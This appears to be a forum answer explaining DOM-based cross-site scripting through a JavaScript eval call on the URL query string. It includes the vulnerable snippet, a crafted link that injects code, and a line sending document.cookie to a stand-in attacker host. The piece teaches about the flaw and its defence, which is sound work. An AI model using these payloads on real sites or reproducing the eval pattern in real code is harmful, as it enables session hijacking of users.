Any malicious user can turn on chrome debugger for example, and modify
javascript code that is being executed. So he can put his own
functions to be executed etc.
Yes, a user can "attack" their own client-side session using JavaScript by using developer tools.
However, the difference between eval and developer tools is that eval may execute things in shareable links. The attacker could send their victim a link, which exploits the code evaluation function.
Take this code:
<script>
eval('alert("Your query string was ' + unescape(document.location.search) + '");');
</script>
Now if the query string is ?foo
you simply get an alert dialog stating the following: Your query string was ?foo
Now say Chuck sends Bob an email with the subject "Look at this great link!".
The link is constructed as follows:
http://www.example.com/page.htm?hello%22);alert(document.cookie+%22
, where www.example.com is your website.
This modifies the code that is executed by eval()
to
alert("Your query string was hello");
alert(document.cookie+"");
(New lines added by me for clarity). This will show an alert box displaying all the non httpOnly cookies.
Take this to the next stage and the attacker could construct an image link to send the session cookie to themselves
new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)
This is known as a Cross-Site Scripting (XSS) attack. In fact, the type is a DOM based XSS, to be specific.
Is there such thing as "secure javascript code" in general?
Yes, code that's secure against XSS could be considered "secure JavaScript code" - it protects the current user from cross-domain attacks. However, server-side code that "trusts" that the current end-user won't modify JavaScript code or variables to their own advantage using developer tools though isn't secure.
Therefore secure JavaScript code is such code that will protect the current user only.